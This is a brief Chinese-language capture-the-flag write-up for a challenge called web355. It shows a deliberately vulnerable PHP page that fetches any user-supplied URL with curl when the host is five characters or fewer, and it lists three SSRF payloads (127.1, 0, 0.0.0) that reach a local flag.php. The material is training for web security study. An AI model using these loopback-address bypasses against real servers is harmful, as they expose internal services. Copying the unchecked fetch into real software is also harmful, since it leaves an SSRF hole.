web355

代码审计

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5))
//对IP长度进行限制
{
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
 die('hacker');
}
}
else{
 die('hacker');
}
?>

限制ip和域名长度要小于5，所以利用特殊写法来写

#POST提交
url=http://127.1/flag.php
url=http://0/flag.php
url=http://0.0.0/flag.php